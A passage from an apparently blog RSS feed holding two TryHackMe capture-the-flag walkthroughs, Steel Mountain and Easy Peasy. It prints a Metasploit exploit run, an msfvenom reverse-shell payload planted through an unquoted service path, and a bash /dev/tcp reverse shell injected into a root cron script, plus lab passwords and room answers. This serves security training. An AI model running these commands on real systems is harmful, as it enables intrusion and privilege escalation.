So first I will show the options needed for the exploit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;Setting Options&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found and set 3 important options :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;RHOSTS: The target IP (10.66.180.12).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RPORT: Changed to 8080 (since the HFS server is not on the default port 80).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LHOST: My tun0 VPN IP.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;Setting Options&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Execution&lt;/h3&gt;
&lt;p&gt;With the payload configured, I ran the exploit.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf&amp;gt; run
#or exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit successfully staged the payload and opened a Meterpreter session.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Retrieving the Flag&lt;/h2&gt;
&lt;p&gt;Once inside, I verified my user context (STEELMOUNTAIN\bill) and navigated to Bill&apos;s desktop to find the user flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use Metasploit to get an initial shell. What is the user flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;b04763b6fcf51fcd7c13**********&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 3 : Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration with PowerUp&lt;/h2&gt;
&lt;p&gt;To identify potential privilege escalation vectors, I used the &lt;strong&gt;PowerUp.ps1&lt;/strong&gt; script.&lt;/p&gt;
&lt;p&gt;First, I downloaded the script to my local machine :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that I uploaded it to the target via my existing Meterpreter session.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; upload PowerUp.ps1
meterpreter &amp;gt; load powershell
meterpreter &amp;gt; powershell_shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once inside the PowerShell environment, I loaded the script and ran the checks.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS &amp;gt; . .\PowerUp.ps1
PS &amp;gt; Invoke-AllChecks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The script identified a service with an Unquoted Service Path vulnerability and, critically, the CanRestart option was set to True. This means we can restart the service to trigger our payload.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 6&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;AdvancedSystemCareService9&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;The vulnerability discovered was an &lt;strong&gt;Unquoted Service Path&lt;/strong&gt; in &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt;. The service path was:
&lt;code&gt;C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Because the path contains spaces and is unquoted, Windows attempts to execute files in this order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;C:\Program.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files (x86)\IObit\Advanced.exe&lt;/code&gt; &amp;lt;--- &lt;strong&gt;Target&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;...and so on.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Since we have write permissions to the &lt;code&gt;IObit&lt;/code&gt; directory, we can plant a malicious executable named &lt;code&gt;Advanced.exe&lt;/code&gt;, restart the service, and Windows will run our file with &lt;strong&gt;LocalSystem&lt;/strong&gt; privileges.&lt;/p&gt;
&lt;h3&gt;Step 1: Generating the Payload&lt;/h3&gt;
&lt;p&gt;I generated a reverse shell payload named &lt;code&gt;Advanced.exe&lt;/code&gt; using &lt;code&gt;msfvenom&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 2: Uploading the Payload&lt;/h3&gt;
&lt;p&gt;Back in my Meterpreter session, I navigated to the target directory and uploaded the malicious binary.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
cd &quot;C:/Program Files (x86)/IObit&quot;
upload Advanced.exe

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Triggering the Exploit&lt;/h3&gt;
&lt;p&gt;I started a Netcat listener on my attack machine to catch the shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
nc -lvnp 4443

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, I dropped into a system shell on the target machine and manually restarted the service to trigger the execution of Advanced.exe.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# Inside Meterpreter
shell

# Command Prompt
sc stop AdvancedSystemCareService9
sc start AdvancedSystemCareService9

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Root Flag&lt;/h3&gt;
&lt;p&gt;As soon as the service started, my listener caught the connection. I verified my identity as &lt;strong&gt;nt authority\system (Administrator)&lt;/strong&gt; and retrieved the final flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
whoami

cd C:\Users\Administrator\Desktop\

type root.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/14.png&quot; alt=&quot;..&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 7&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the root flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;9af5f314f57607c00fd09803**********&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Steel Mountain is a fantastic room for practicing Windows privilege escalation fundamentals. We started by enumerating the machine and discovering a vulnerable file server (&lt;strong&gt;Rejetto HFS&lt;/strong&gt;). We explored two distinct paths to compromise the machine:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Metasploit:&lt;/strong&gt; Utilizing &lt;code&gt;CVE-2014-6287&lt;/code&gt; for immediate access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Enumeration:&lt;/strong&gt; Using &lt;code&gt;PowerUp.ps1&lt;/code&gt; to identify an &lt;strong&gt;Unquoted Service Path&lt;/strong&gt; vulnerability in &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By replacing the service binary with our own payload and restarting the service, we successfully escalated our privileges from a standard user to &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Challenge for the Reader&lt;/h2&gt;
&lt;p&gt;While using Metasploit is fast, I highly recommend attempting &lt;strong&gt;Task 4&lt;/strong&gt; of this room on your own. It challenges you to exploit the machine without Metasploit, using Python scripts and a static Netcat binary. Understanding how to manually transfer files and catch shells without &lt;code&gt;meterpreter&lt;/code&gt; is a critical skill for the OSCP and real-world engagements.&lt;/p&gt;
&lt;p&gt;Thanks for reading! Happy Hacking.&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Easy Peasy Walkthrough</title><link>https://0xm3dd.github.io/posts/tryhackme/easy_peasy/thm-easy-peasy/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/easy_peasy/thm-easy-peasy/</guid><description>A complete guide to the Easy Peasy room. Cracking GOST hashes, Steganography, and abusing Cron Jobs for Root.</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/easypeasyctf&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my first writeup for the &lt;strong&gt;Easy Peasy&lt;/strong&gt; room on TryHackMe. This room provides a great mix of enumeration, cryptography, and steganography challenges. Let&apos;s dive in!&lt;/p&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;h2&gt;Nmap Scan&lt;/h2&gt;
&lt;p&gt;I started with a comprehensive Nmap scan to identify open ports and running services.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC -p- -T5 -Pn -o nmap_scan 10.66.154.228
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My scan revealed the following open ports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;80/tcp&lt;/strong&gt; (HTTP): Nginx 1.16.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6498/tcp&lt;/strong&gt; (SSH): OpenSSH 7.6p1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;65524/tcp&lt;/strong&gt; (HTTP): Apache httpd 2.4.43&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
It&apos;s interesting to see two different web servers running on the same machine: Nginx on port 80 and Apache on port 65524.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the raw output from my scan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.16.1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.16.1
6498/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
|   256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_  256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open  http    Apache httpd 2.4.43 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Task 1 Answers&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;How many ports are open?&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the version of nginx?&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.16.1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is running on the highest port?&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Apache&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Task 2: Compromising the machine&lt;/h1&gt;
&lt;h2&gt;Enumerating Web Services&lt;/h2&gt;
&lt;h3&gt;Port 80 (Nginx) &amp;amp; Port 65524 (Apache)&lt;/h3&gt;
&lt;p&gt;Port 80 hosts the default Nginx page, while port 65524 shows the Apache default page. Both have &lt;code&gt;robots.txt&lt;/code&gt; entries. Inspecting the source code and &lt;code&gt;robots.txt&lt;/code&gt; is always a good first step.&lt;/p&gt;
&lt;h3&gt;Directory Bruteforcing (GoBuster)&lt;/h3&gt;
&lt;p&gt;You can use GoBuster to enumerate hidden directories on the web servers. This is crucial for finding flags that aren&apos;t linked from the main pages.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.66.154.228 -w /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, I prefer using FeroxBuster as it is faster and more powerful.
&lt;img src=&quot;./EasyPeasy-THM/1.png&quot; alt=&quot;Feroxbuster-Hidden dirs / files&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During my enumeration, I discovered a hidden directory named &lt;code&gt;/hidden&lt;/code&gt; but after inspecting seems nothing useful in it. Further digging into &lt;code&gt;/hidden/whatever&lt;/code&gt; and inspecting the source page of this directory I found a paragraph text encoded in &lt;code&gt;base64&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
“==” is often a base64 string.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/2.png&quot; alt=&quot;base64&quot; /&gt;
We could decode this with&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;ZmxhZ3tmMXJzN19mbDRnfQ==&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For me I have used a popular plateform called &lt;code&gt;Cyberchef&lt;/code&gt;.
&lt;img src=&quot;./EasyPeasy-THM/3.png&quot; alt=&quot;decoding base64&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bingo! Flag Found&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Flag 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Using GoBuster, find flag 1.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;flag{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;With Port 80 fully enumerated, let&apos;s investigate Port 65524.&lt;/p&gt;
&lt;p&gt;Default Apache server webpage :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/4.0.png&quot; alt=&quot;apache interface&quot; /&gt;
Hmm... This is not the default Apache header, so it’s worth keeping in mind for later.&lt;/p&gt;
&lt;p&gt;During my Nmap scan, I noticed that &lt;code&gt;/robots.txt&lt;/code&gt; exists, so let’s check it out.&lt;/p&gt;
&lt;p&gt;Inside it, we find the following entry:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;User-Agent: a18672860d0510e5ab6699730763b250&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This looks like an &lt;strong&gt;MD5 hash&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/4.png&quot; alt=&quot;user-agent&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To crack it, we can use tools like &lt;code&gt;hashcat&lt;/code&gt; or &lt;code&gt;John the Ripper&lt;/code&gt;, or simply try an online hash-cracking service. For me I prefer &lt;a href=&quot;https://hashes.com/&quot;&gt;https://hashes.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/5.png&quot; alt=&quot;crack-md5-hash&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Flag 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Further enumerate the machine, what is flag 2?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;flag{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;While searching for Flag 3, I got stuck for a bit. Remembering the unusual Apache header I noticed earlier, I went back and re-read the page carefully, where I eventually found the flag hidden in the text.
&lt;img src=&quot;./EasyPeasy-THM/6.0.png&quot; alt=&quot;fl4g 3&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Flag 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Crack the hash with easypeasy.txt, What is the flag 3?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;flag{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Viewing the source code revealed something..
&lt;img src=&quot;./EasyPeasy-THM/6.png&quot; alt=&quot;hidden-dir&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The hint &quot;ba....&quot; clearly suggested Base64 encoding. I decoded the string using Cyberchef and I found a hidden directory:
&lt;img src=&quot;./EasyPeasy-THM/7.png&quot; alt=&quot;hd2&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Question4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the hidden directory?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/n0th1ng3ls3m4tt3r&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;I navigated to the hidden directory and The page displayed a random image that seemed suspicious. Let&apos;s download it using &lt;code&gt;wget &amp;lt;link-to-image&amp;gt;&lt;/code&gt; for later use.
&lt;img src=&quot;./EasyPeasy-THM/8.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Digging into the source code once again revealed a suspicious hash:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81&lt;/code&gt;
&lt;img src=&quot;./EasyPeasy-THM/9.png&quot; alt=&quot;HASH&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
A 64-character hash is usually SHA-256, but it&apos;s often a trick. Using &lt;code&gt;hashid&lt;/code&gt; or an online tools like &lt;code&gt;Name That Hash&lt;/code&gt;, I saw it could be GOST (a Russian hash standard).
&lt;img src=&quot;./EasyPeasy-THM/10.png&quot; alt=&quot;hash-id&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Steganography and Cracking&lt;/h2&gt;
&lt;p&gt;I used john with the easypeasy.txt wordlist provided by the room. I explicitly forced the format to GOST to avoid false positives.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --format=gost --wordlist=easypeasy.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/11.png&quot; alt=&quot;crack-hash&quot; /&gt;
&lt;strong&gt;Crack Successful:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Question 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Using the wordlist that provided to you in this task crack the hash what is the password?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;mypasswordforthatjob&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;With the password in hand, and the downloaded image &lt;code&gt;binarycodepixabay.jpg&lt;/code&gt; from the hidden page. The password suggested it was a key for steganography.&lt;/p&gt;
&lt;p&gt;I used steghide to extract hidden data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;steghide extract -sf binarycodepixabay.jpg
# Passphrase: mypasswordforthatjob
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It extracted a file named secrettext.txt containing a binary string:
&lt;img src=&quot;./EasyPeasy-THM/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decoding this binary string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &quot;print(&apos;&apos;.join([chr(int(b, 2)) for b in &apos;01101001...&apos;.split()]))&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or using Cyberchef which decoded to:
&lt;img src=&quot;./EasyPeasy-THM/13.png&quot; alt=&quot;ii&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Question 6&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the password to login to the machine via SSH?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;iconvertedmypasswordtobinary&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;SSH Access&lt;/h2&gt;
&lt;p&gt;I used this password to SSH into the machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh boring@10.66.154.228 -p 6498
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/14.0.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
SSH is not running on the default port (22), but on port &lt;code&gt;6498&lt;/code&gt;. So we have to specify the &lt;code&gt;-p&lt;/code&gt; flag to ssh to login using that port.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/14.png&quot; alt=&quot;img2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once logged in, I found the &lt;strong&gt;User Flag&lt;/strong&gt; in &lt;code&gt;user.txt&lt;/code&gt;.
However, the content appeared to be &lt;strong&gt;rotated&lt;/strong&gt;, making it unreadable at first glance.
Since the rotation value was unknown, I used &lt;strong&gt;CyberChef&lt;/strong&gt; to &lt;strong&gt;brute‑force all possible rotations&lt;/strong&gt; until the readable flag was revealed.
&lt;img src=&quot;./EasyPeasy-THM/15.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Flag 7&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the user flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;flag{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;After enumerating the system for privilege escalation vectors (checking SUID binaries, crontabs, etc.), I found a vulnerable cronjob running as root.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /etc/crontab
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Vulnerability: I found a specific line indicating a vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* * * * * root cd /var/www/ &amp;amp;&amp;amp; sudo bash .mysecretcronjob.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script runs every minute as root. I checked the permissions of the file and confirmed that my user boring had write access.&lt;/p&gt;
&lt;p&gt;I injected a Bash reverse shell one-liner into the script to force root to connect back to my attack machine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On Kali (Listener):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;On Target (Injection):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;MY_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&quot; &amp;gt; /var/www/.mysecretcronjob.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/16.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, I read the &lt;strong&gt;Root Flag&lt;/strong&gt; from &lt;code&gt;/root/root.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./EasyPeasy-THM/17.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Flag 8&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the root flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;flag{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
</content:encoded></item></channel></rss>